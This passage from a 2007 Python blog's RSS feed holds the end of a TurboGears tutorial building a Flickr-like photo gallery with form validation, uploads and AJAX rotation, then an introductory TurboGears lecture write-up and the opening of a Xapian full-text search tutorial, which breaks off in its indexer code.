&nbsp; &nbsp; title = validators.<span class="me1">String</span><span class="br0">&#40;</span>not_empty=<span class="kw2">True</span>, <span class="kw2">max</span>=<span class="nu0">16</span><span class="br0">&#41;</span></div>
<p>“The touchiest issue with any Web application is its users,” I said. “Without them, there is no need to worry about bugs or invalid input.” The validation makes sure the input your Web application receives is a sound one. In many cases, further validation is needed. The above validator makes sure the title is not empty and is no longer than 16 letters. One audience member asked if the validation can be specified inside the fields definition. Yes, it is possible to specify a validator as a keyword argument to a field definition, but making the validation schema exterior to the fields definition renders it possible to define a more complex schema that involves field dependency or logical operators. A common instance where such a schema is useful is in the validation of a registration form, where you have to check whether or not the entered password field text and the “reenter password field” match.</p>
<p>The last part of the form definition ties the previous two parts together, with text for the submit button and a URL that will handle the form data:</p>
<div class="dean_ch" style="white-space: wrap;">
add_photo_form = TableForm<span class="br0">&#40;</span>fields=AddPhotoFields<span class="br0">&#40;</span><span class="br0">&#41;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; validator=AddPhotoSchema<span class="br0">&#40;</span><span class="br0">&#41;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; submit_text=<span class="st0">&#8216;Upload!&#8217;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; action=<span class="st0">&#8216;/upload&#8217;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#41;</span></div>
<p>I&#8217;ve created a template named add.kid that will display just the form:</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;h1<span class="re2">&gt;</span></span></span>Add New Photo<span class="sc3"><span class="re1">&lt;/h1<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; ${form()}</div>
<p>I&#8217;ve also added a controller method to make this page accessible…</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp; &nbsp; @expose<span class="br0">&#40;</span>template=<span class="st0">&quot;turbogallery.templates.add&quot;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="kw1">def</span> add<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">dict</span><span class="br0">&#40;</span>form=add_photo_form<span class="br0">&#41;</span></div>
<p>…and I’ve linked to it from welcome.kid.</p>
<p>Here is a screenshot of this page:<br />
<a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/add_form.png" rel="lightbox" title="Add photo form"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/add_form.small.jpg" alt="Add photo form" /></a><br />
As you can see, TurboGears gives us a nice form without us having to type in any HTML at all. Clicking the Upload! Button posts the data to the /upload URL. To test the form, I&#8217;ve added the corresponding method to the controller:</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp; &nbsp; @expose<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; @validate<span class="br0">&#40;</span>form=add_photo_form<span class="br0">&#41;</span><br />
&nbsp; &nbsp; @error_handler<span class="br0">&#40;</span>add<span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="kw1">def</span> upload<span class="br0">&#40;</span><span class="kw2">self</span>, title, image<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="st0">&quot;hi&quot;</span></div>
<p>The decorators that are attached to this method make TurboGears validate its input using the add_photo_form. If a validation error occurs, the response is handled by the add() method, which just displays the form again along with the validation errors. So if, for example, we type in a too-long title, we will get the following:<br />
<a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/very_long_title.png" rel="lightbox" title="TurboGears form validation errors"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/very_long_title.small.jpg" alt="TurboGears form validation errors" /></a><br />
I would now really like to make the method save the image in a new photo object. The following code will do:</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp; &nbsp; @expose<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; @validate<span class="br0">&#40;</span>form=add_photo_form<span class="br0">&#41;</span><br />
&nbsp; &nbsp; @error_handler<span class="br0">&#40;</span>add<span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="kw1">def</span> upload<span class="br0">&#40;</span><span class="kw2">self</span>, title, image<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; image = image.<span class="kw2">file</span>.<span class="me1">read</span><span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; Photo<span class="br0">&#40;</span>title=title, image=image, thumbnail=<span class="kw2">None</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; flash<span class="br0">&#40;</span><span class="st0">&quot;Image successfully added!&quot;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">raise</span> redirect<span class="br0">&#40;</span><span class="st0">&#8216;/&#8217;</span><span class="br0">&#41;</span></div>
<p>Yes, handling a file upload in TurboGears is just a matter of reading from a file-like object. It is that simple. The next line creates a photo object with the title and the image data. The flash() method makes the given message appear on the next page, and we redirect to the main page. I filled out the form to upload an image that was downloaded from my camera. Here’s what I got:<br />
<a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/rot_photos.png" rel="lightbox" title="Rotate photos in turbogears"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/rot_photos.small.jpg" alt="Rotate photos in TurboGears" /></a><br />
Damn! I hate it when my camera decides to rotate an image that has already been uploaded. So, let’s add an AJAX image-rotation tool. A click on the rotate link will rotate the image in place without requiring the entire page to be reloaded. We first add a method to rotate the image to our controller:</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp; &nbsp; @expose<span class="br0">&#40;</span><span class="st0">&#8216;json&#8217;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="kw1">def</span> rotate<span class="br0">&#40;</span><span class="kw2">self</span>, photo_id<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">import</span> Image<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">from</span> <span class="kw3">cStringIO</span> <span class="kw1">import</span> <span class="kw3">StringIO</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; photo = Photo.<span class="me1">get</span><span class="br0">&#40;</span>photo_id<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; image = Image.<span class="kw2">open</span><span class="br0">&#40;</span><span class="kw3">StringIO</span><span class="br0">&#40;</span>photo.<span class="me1">image</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; rotated = image.<span class="me1">rotate</span><span class="br0">&#40;</span><span class="nu0">90</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; photo.<span class="me1">image</span> = rotated.<span class="me1">tostring</span><span class="br0">&#40;</span><span class="st0">&#8216;jpeg&#8217;</span>, <span class="st0">&#8216;RGB&#8217;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">dict</span><span class="br0">&#40;</span>photo_id=photo_id, size=rotated.<span class="me1">size</span><span class="br0">&#41;</span></div>
<p>The method uses PIL – Python Imaging Library. It loads the image from the database, rotates it, and then stores it again in the database. The method returns a dictionary containing the photo_id and the new photo dimensions. It is set to return the data in JSON format, which makes it extremely easy to use in Javascript. I directly entered http://localhost:8080/rotate/2 to show what the JSON object looks like. I then refreshed the main page to verify that the photo had been rotated. Next, I rotated it three more times until it was straight again.</p>
<p>I then went back to welcome.kid and added a rotate link for each photo:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="sc3"><span class="re1">&lt;ul</span> <span class="re0">class</span>=<span class="st0">&quot;photo_list&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;li</span> <span class="re0">py:for</span>=<span class="st0">&quot;photo in photos&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;img</span> <span class="re0">src</span>=<span class="st0">&quot;/images/${photo.id}&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">id</span>=<span class="st0">&quot;image${photo.id}&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;160&quot;</span><span class="re2">/&gt;</span></span><span class="sc3"><span class="re1">&lt;br</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;a</span> <span class="re0">href</span>=<span class="st0">&quot;/photo_info/${photo.id}&quot;</span><span class="re2">&gt;</span></span>${photo.title}<span class="sc3"><span class="re1">&lt;/a<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;a</span> <span class="re0">href</span>=<span class="st0">&quot;#&quot;</span> <span class="re0">onclick</span>=<span class="st0">&quot;rotate_photo(${photo.id}); return false;&quot;</span><span class="re2">&gt;</span></span>(rotate)<span class="sc3"><span class="re1">&lt;/a<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/li<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;/ul<span class="re2">&gt;</span></span></span></div>
<p>Clicking on the “rotate” text located next to a photo will call a Javascript function that receives  the corresponding photo ID. I&#8217;ve added the implementation of rotate_photo() to the top of the welcome.kid template. It uses MochiKit, which must be enabled in config/app.cfg (it is explained how to do so in that file).</p>
<div class="dean_ch" style="white-space: wrap;">
&lt;script type=<span class="st0">&quot;text/javascript&quot;</span>&gt;<br />
&nbsp; &nbsp; <span class="kw2">function</span> rotate_photo<span class="br0">&#40;</span>photo_id<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; d = loadJSONDoc<span class="br0">&#40;</span><span class="st0">&#8216;/rotate/&#8217;</span>+photo_id<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; d.<span class="me1">addCallback</span><span class="br0">&#40;</span>update<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">function</span> update<span class="br0">&#40;</span>r<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;$<span class="br0">&#40;</span><span class="st0">&#8216;image&#8217;</span>+r.<span class="me1">photo_id</span><span class="br0">&#41;</span>.<span class="me1">src</span>=<span class="st0">&#8216;/images/&#8217;</span>+<span class="br0">&#40;</span>r.<span class="me1">photo_id</span><span class="br0">&#41;</span>+<span class="st0">&#8216;?random=&#8217;</span>+Math.<span class="me1">random</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&lt;/script&gt;</div>
<p>The function makes an asynchronous call to the rotate URL, providing it with the photo ID. Once the response arrives, update() is called and is provided with the JSON object we returned from the controller&#8217;s rotate() method. In Javascript, you can use dot notation to access the keys in that dictionary. When update() is called, the image has already been rotated at the server. Therefore it is the right time for the browser to fetch it again. To perform this re-fetching, update() sets the image src attribute to the image URL, but in order to prevent the browser from displaying the cached old image, we add a random argument to the URL. You can see a related post describing <a href="http://www.thesamet.com/blog/2006/07/14/making-ie-cache-less/">how to prevent browsers from caching</a>. To make the image() controller method accept this argument and ignore it, its definition becomes:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw1">def</span> images<span class="br0">&#40;</span><span class="kw2">self</span>, photo_id, <span class="kw3">random</span>=<span class="kw2">None</span><span class="br0">&#41;</span>:</div>
<p>I then refreshed the main page and rotated the photos a few times to demonstrate how slick this functionality is (especially when you’re working on the server). You can see it in the video below:<br />
<embed style="width:400px; height:326px;" id="VideoPlayback" type="application/x-shockwave-flash" src="http://video.google.com/googleplayer.swf?docId=-7054407251027613231&#038;hl=en" flashvars=""> </embed></p>
<p>Next, I uploaded another image I had prepared in advance, this one called questions.jpg, using the upload form. Here it is:<br />
<a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/questions.png" rel="lightbox" title="TurboGears questions?"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/questions.small.jpg" /></a><br />
It says “Questions?” in Hebrew, signifying that the lecture was over and it was time to ask questions.</p>
<p><a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/TurboGallery.zip">Download the full source code of TurboGallery.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thesamet.com/blog/2007/02/20/making-a-flickr-killer-with-turbogears-part-2-a-flickr-clone-in-37-minutes-flat/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Making a Flickr Killer With TurboGears &#8211; Part 1: Introduction To TurboGears</title>
		<link>http://www.thesamet.com/blog/2007/02/08/making-a-flickr-killer-with-turbogears-part-1-introduction-to-turbogears/</link>
		<comments>http://www.thesamet.com/blog/2007/02/08/making-a-flickr-killer-with-turbogears-part-1-introduction-to-turbogears/#comments</comments>
		<pubDate>Thu, 08 Feb 2007 10:43:34 +0000</pubDate>
		<dc:creator>thesamet</dc:creator>
				<category><![CDATA[python]]></category>
		<category><![CDATA[turbogears]]></category>

		<guid isPermaLink="false">http://www.thesamet.com/blog/2007/02/08/making-a-flickr-killer-with-turbogears-part-1-introduction-to-turbogears/</guid>
		<description><![CDATA[One month ago, I gave an introductory speech about TurboGears at the Israeli Pythoneers Meeting. The discussion consisted of two parts. The first part introduced TurboGears, and the second part included live coding of a Flickr clone. I hereby give &#8230; <a href="http://www.thesamet.com/blog/2007/02/08/making-a-flickr-killer-with-turbogears-part-1-introduction-to-turbogears/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>One month ago, I gave an introductory speech about <a href="http://www.turbogears.org/">TurboGears</a> at the <a href="http://www.python.org.il/">Israeli Pythoneers Meeting</a>. The discussion consisted of two parts. The first part introduced TurboGears, and the second part included live coding of a Flickr clone.</p>
<p><a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img0.jpg" rel="lightbox" title="Slide 0: Introduction to TurboGears"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img0_thumb.jpg" /></a><br />
I hereby give the lecture again, in a written format. These are the original slides used in the lecture. Click on a slide to enlarge it.</p>
<p><a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img1.jpg" rel="lightbox" title="Slide 1: Adi"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img1_thumb.jpg" /></a><a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img2.jpg" rel="lightbox" title="Slide 2"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img2_thumb.jpg" /></a></p>
<p><span id="more-39"></span>Because it was only the second time I had attended one of these meetings, I briefly introduced myself. The two slides above show photos that were taken in my home town, Adi, which is a small town in Northern Israel. In the right photo, you can see my cat <a href="http://www.thesamet.com/uzi/">Uzi</a> watching the cows in our backyard. If you have taken part in the <a href="http://www.pythonchallenge.com/">Python Challenge</a>, you might have already met Uzi.</p>
<p><a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img3.jpg" rel="lightbox" title="Slide 3: What is TurboGears"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img3_thumb.jpg" /></a></p>
<p>TurboGears is a framework that enables the rapid development of Web applications in Python. But what is a Web application? Great question!</p>
<p><a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img4.jpg" rel="lightbox" title="Slide 4: What is a Web Application"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img4_thumb.jpg" /></a></p>
<p><a href="http://en.wikipedia.org/wiki/Web_application">Wikipedia</a> provides this explanation:</p>
<blockquote><p>In software engineering, a Web application or webapp is an application that is accessed with a Web browser over a network such as the Internet or an intranet.<br />
Web applications are popular due to the ubiquity of the browser as a client, sometimes called a thin client. The ability to update and maintain Web applications without distributing and installing software on potentially thousands of client computers is a key reason for their popularity. Web applications are used to implement Webmail, online retail sales, online auctions, wikis, discussion boards, Weblogs, MMORPGs, and many other functions.</p></blockquote>
<p><a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img5.jpg" rel="lightbox" title="Slide 5: Philosophy of TurboGears"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img5_thumb.jpg" /></a></p>
<p>What makes TurboGears stand out from the crowd is its unique philosophy of reusing. Instead of developing its own Web server, HTML-templating language and database-to-object relational mapper, it integrates existing mature and best-of-breed components. The main actors are CherryPy, which makes adding a page as easy as writing a method; Kid, which is a designer-friendly XHTML-templating language; and SQLObject, which allows you to use an SQL database without writing a single line of SQL. MochiKit is a pill library that eases your pains while coding in Javascript&#8230;</p>
<p><a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img6.jpg" rel="lightbox" title="Slide 6: Why TurboGears?"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img6_thumb.jpg" /></a></p>
<p>Why should you choose TurboGears as your Web-application development framework for your next project? Well, the short answer is that PHP is the devil – it tempts you to mix HTML, logic, and database queries into the same piece of code. Rails, as great as it may be, is written in Ruby, and we like Python better. For Django, I borrowed (err, stole) <a href="http://www.djangoproject.com/weblog/2006/dec/06/comparisons/">Adrian Holovaty&#8217;s port</a> of <a href="http://diveintomark.org/archives/2004/07/06/nfc">Mark Pilgrim&#8217;s piece</a>:</p>
<blockquote><p>I was walking across a bridge one day, and I saw a man standing on the edge, about to jump off. So I ran over and said, “Stop! Don’t do it!”<br />
“I can’t help it,” he cried. “I’ve lost my will to live.”<br />
“What do you do for a living?” I asked.<br />
He said, “I work with computers.”<br />
“Me too!” I said. “What do you do with computers?”<br />
He said, “I&#8217;m a Web developer.”<br />
“Me too!” I said. “Design, client-side programming or server-side programming?”<br />
He said, “Server-side programming.”<br />
“Me too!” I said. “Do you use dynamically typed languages or statically typed languages?&#8221;<br />
He said, “Dynamically typed languages.”<br />
“Me too!” I said. “Do you use a Web framework, or do you roll things on your own?”<br />
He said, “I use a Web framework.”<br />
&#8220;Me too!” I said. “TurboGears or Django?”<br />
He said, “Django.”<br />
“Die, heretic scum!” I shouted, and I pushed him over the edge.</p></blockquote>
<p>The moral of the story is that TurboGears and Django have much more in common than they have in the way of differences. It has been said that Django is like a Macintosh—it simply works—while TurboGears is more like Unix—its power comes from its being made of many smaller building blocks, each one of them designed to do one thing well.</p>
<p>TurboGears and Django try to solve different types of problems. Django was born in a publishers’ newsroom environment, where Web applications needed to be launched within hours. By its very nature, Django is geared toward the development of content-oriented Web sites. TurboGears, on the other hand, evolved while Kevin Dangoor was developing <a href="http://www.blazingthings.com/">Zesty News</a>, a news-reader application. As a result, it is more suitable for Web applications (see earlier definition).</p>
<p>Having said that, I found it very easy to develop content-oriented Web sites in TurboGears. Currently, TurboGears’ CRUD features and administration panel are somewhat lacking in comparison to Django’s. As such you have to manually code these aspects of your application if you want a non-tech author to be able to fill your project’s database with content or change various aspects of the Web site.</p>
<p><a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img7.jpg" rel="lightbox" title="Slide 7: MVC!"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img7_thumb.jpg" /></a></p>
<p>TurboGears goes a long way in encouraging you to design your application in the so-called MVC paradigm. MVC stands for Model, Viewer, and Controller. The model consists of the classes that represent the information on which the application operates. That information is usually stored in an SQL database. The view is composed of the HTML page templates that are used to render the model. The controller responds to user input (HTTP requests) by operating on the model and returning a view for subsequent interaction.</p>
<p>In a nutshell, MVC is all about separating metadata, logic, and presentation.</p>
<p><a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img8.jpg" rel="lightbox" title="Slide 8"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img8_thumb.jpg" /></a><a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img9.jpg" rel="lightbox" title="Slide 9"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img9_thumb.jpg" /></a></p>
<p>The above is an example of how you would model a user with SQLObject. It has first_name and last_name fields as well as a date-time field, which represents the time at which the user was last logged in to the system.</p>
<p>The above class definition can automatically generate the SQL table creation statement:</p>
<p><a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img10.jpg" rel="lightbox" title="Slide 10: Generated SQL"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img10_thumb.jpg" /></a></p>
<p>The “Person” class gives you a very comfortable interface with the database objects:</p>
<p><a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img11.jpg" rel="lightbox" title="Slide 11: Generated SQL"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/img11_thumb.jpg" /></a></p>
<p>In the next installment, I will show you how easy it is to create a Flickr killer application with TurboGears in 37 minutes.</p>
<p>Make sure you won&#8217;t miss it by subscribing to the <a href="http://www.thesamet.com/blog/feed">RSS feed</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thesamet.com/blog/2007/02/08/making-a-flickr-killer-with-turbogears-part-1-introduction-to-turbogears/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Pumping Up Your Applications with Xapian Full-Text Search</title>
		<link>http://www.thesamet.com/blog/2007/02/04/pumping-up-your-applications-with-xapian-full-text-search/</link>
		<comments>http://www.thesamet.com/blog/2007/02/04/pumping-up-your-applications-with-xapian-full-text-search/#comments</comments>
		<pubDate>Sun, 04 Feb 2007 06:05:41 +0000</pubDate>
		<dc:creator>thesamet</dc:creator>
				<category><![CDATA[howto]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[turbogears]]></category>

		<guid isPermaLink="false">http://www.thesamet.com/blog/2007/02/04/pumping-up-your-applications-with-xapian-full-text-search/</guid>
		<description><![CDATA[What good is an application—not matter how much information it contains—if the inability to easily search it renders it useless? Xapian to the Rescue Xapian is an excellent open source (GPL) search engine library. It is written in C++ and &#8230; <a href="http://www.thesamet.com/blog/2007/02/04/pumping-up-your-applications-with-xapian-full-text-search/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/needle_small.jpg" title="Needle Small" alt="Needle Small" align="right" />What good is an application—not matter how much information it contains—if the inability to easily search it renders it useless?</p>
<h2>Xapian to the Rescue</h2>
<p><a href="http://www.xapian.org/">Xapian</a> is an excellent open source (GPL) search engine library. It is written in C++ and comes with bindings for Python as well as many other languages, and it supports everything you&#8217;d expect from a modern search engine:</p>
<ul>
<li><strong>Ranked probabilistic search</strong> – The results that are returned are ranked according to their relevancy, with the most relevant occurring first.</li>
<li><strong>Boolean search operators</strong> – You can use AND, OR, NOT, XOR in your searches.</li>
<li><strong>Phrase and proximity searching</strong> – For example, &#8220;used books&#8221; will look for occurrences of these words as an exact phrase, but you can also search for &#8220;used NEAR books&#8221; to find occurrences of the words &#8220;used&#8221; and &#8220;books&#8221; that are within 10 words of each other. You can even write &#8220;used NEAR/3 books&#8221; to change the proximity threshold to three</li>
<li><strong>Stemming of search terms</strong> – If, for example, you search for &#8220;programmer,&#8221; you can find articles that mention &#8220;programmers&#8221; or &#8220;programming.&#8221; Xapian currently supports stemming in Danish, Dutch, English, Finnish, French, German, Italian, Norwegian, Portuguese, Russian, Spanish, and Swedish</li>
<li><strong>Stopwords</strong> – Xapian already knows which common words to ignore (like &#8216;are,&#8217; &#8216;is,&#8217; and &#8216;being&#8217;)</li>
<li><strong>Simultaneous update and searching</strong> – Xapian allows to index new articles while the database is being searched. New articles can be searched right away.</li>
<li><strong>Relevant Suggestions</strong> – Xapian can automatically suggest documents that are relevant to a given document. As such, you can add a list of &#8220;similar items&#8221; to each page.</li>
<li><strong>Value-associated results</strong> – You can associate values like word-count, date, page views, diggs, and so on with each document. Xapian can return results that are sorted by any of these criteria</li>
<li><strong>Document metadata</strong> – You can add metadata tags to each document (Xapian calls these terms). These tags can be anything you desire, like author, title, date, tags, and so on. Users can then search within the metadata by typing &#8220;author:john&#8221;.</li>
</ul>
<p style="text-align: center"><a href="http://www.thesamet.com/blog/wp-content/uploads/2007/02/xapian.png" title="Xapian diagram medium"><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/xapian_med.png" alt="Xapian diagram medium" border="0" /></a></p>
<p>The above diagram shows the main participants in a typical search-enabled use case. We assume that the data to be searched is stored in a relational database (the blue SQL server jar), but it doesn’t really matter where the data comes from. The indexer is a Python program that is executed periodically (as a cron job). Its function is to retrieve new or changed documents from the database and to index them. The Xapian library handles the actual read/write operations on the Xapian database (in the purple jar).</p>
<p>Since the Xapian library is not thread-safe and because Web applications are usually multithreaded, you need to implement a locking mechanism if you want access to a Xapian database to be safe. My preferred way for accomplishing this aim is to use a separate process (the orange Search Server box). This process will be a single-threaded RPC server that will handle all searches. The benefit of this strategy is that you can move the search server process (together with the Xapian database) to a different machine. In so doing, you can free up a lot of the resources on that server that runs your application. That makes the system very scalable. In general, you can expect any bottlenecks to be more IO and memory related than CPU related.</p>
<p>Alternatively, your search operations can be directly initiated from your application process. This alternative will work as long as you use a mutex to govern access to your database. However, I wouldn&#8217;t recommend doing this in a production environment. Why? Because you&#8217;ll never be sure what’s consuming so much memory—the Xapian library or your application.</p>
<p>The application (red box) gets a very clean search API. It simply connects to the XML RPC server (one line of code) and obtains access to a search() method which gets the search query and how many results are needed as arguments. It then returns a dictionary with the total number of available results and the results themselves.</p>
<p>In this tutorial, we&#8217;ll create a searchable article database. We assume that you already have Xapian and the Xapian bindings installed. We&#8217;ll start with the indexer.</p>
<h2>The Indexer: The Golden Retriever</h2>
<p><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/02/indexer2.jpg" title="Golden Document Retriever" alt="Golden Document Retriever" align="right" />Following is the indexer code. It is tailored to TurboGears and SQLAlchemy, but it can be easily adapted to suit any ORM. It accepts three command line arguments: the configuration file, which helps it find the database (either dev.cfg or prod.cfg); the Xapian database location, which is simply a directory name; and a number of hours (such that all documents that were created or modified within this number of hours will be indexed). If you run the indexer every hour, you can safely give 2 as the third argument. If you&#8217;d like to re-index all articles, pass in 0 as the third argument.</p>
<div class="dean_ch" style="white-space: wrap;">
<p><span class="co1">#!/usr/bin/env python</span><br />
<span class="kw1">from</span> <span class="kw3">datetime</span> <span class="kw1">import</span> *<br />
<span class="kw1">import</span> xapian</p>
<p>WORD_RE = <span class="kw3">re</span>.<span class="kw2">compile</span><span class="br0">&#40;</span>r<span class="st0">&quot;<span class="es0">\\</span>w{1,32}&quot;</span>, <span class="kw3">re</span>.<span class="me1">U</span><span class="br0">&#41;</span><br />
ARTICLE_ID = <span class="nu0">0</span></p>
<p>stemmer = xapian.<span class="me1">Stem</span><span class="br0">&#40;</span><span class="st0">&quot;en&quot;</span><span class="br0">&#41;</span> <span class="co1"># english stemmer</span></p>
<p><span class="kw1">def</span> create_document<span class="br0">&#40;</span>article<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; <span class="st0">&quot;&quot;</span><span class="st0">&quot;Gets an article object and returns<br />
&nbsp; &nbsp; a Xapian document representing it and<br />
&nbsp; &nbsp; a unique article identifier.&quot;</span><span class="st0">&quot;&quot;</span></p>
<p>&nbsp; &nbsp; doc = xapian.<span class="me1">Document</span><span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; text = article.<span class="me1">text</span>.<span class="me1">encode</span><span class="br0">&#40;</span><span class="st0">&quot;utf8&quot;</span><span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; <span class="co1"># go word by word, stem it and add to the</span><br />
&nbsp; &nbsp; <span class="co1"># document.</span><br />
&nbsp; &nbsp; <span class="kw1">for</span> index, term <span class="kw1">in</span> <span class="kw2">enumerate</span><span class="br0">&#40;</span>WORD_RE.<span class="me1">finditer</span><span class="br0">&#40;</span>text<span class="br0">&#41;</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; doc.<span class="me1">add_posting</span><span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; stemmer.<span class="me1">stem_word</span><span class="br0">&#40;</span>term.<span class="me1">group</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; index<span class="br0">&#41;</span><br />
&nbsp; &nbsp; doc.<span class="me1">add_term</span><span class="br0">&#40;</span><span class="st0">&quot;A&quot;</span>+article.<span class="me1">submitted_by</span>.<span class="me1">user_name</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; doc.<span class="me1">add_term</span><span class="br0">&#40;</span><span class="st0">&quot;S&quot;</span>+article.<span class="me1">subject</span>.<span class="me1">encode</span><span class="br0">&#40;</span><span class="st0">&quot;utf8&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; article_id_term = <span class="st0">&#8216;I&#8217;</span>+<span class="kw2">str</span><span class="br0">&#40;</span>article.<span class="me1">article_id</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; doc.<span class="me1">add_term</span><span class="br0">&#40;</span>article_id_term<span class="br0">&#41;</span><br />
&nbsp; &nbsp; doc.<span class="me1">add_value</span><span class="br0">&#40;</span>ARTICLE_ID, <span class="kw2">str</span><span class="br0">&#40;</span>article.<span class="me1">article_id</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="kw1">return</span> doc, article_id_term</p>
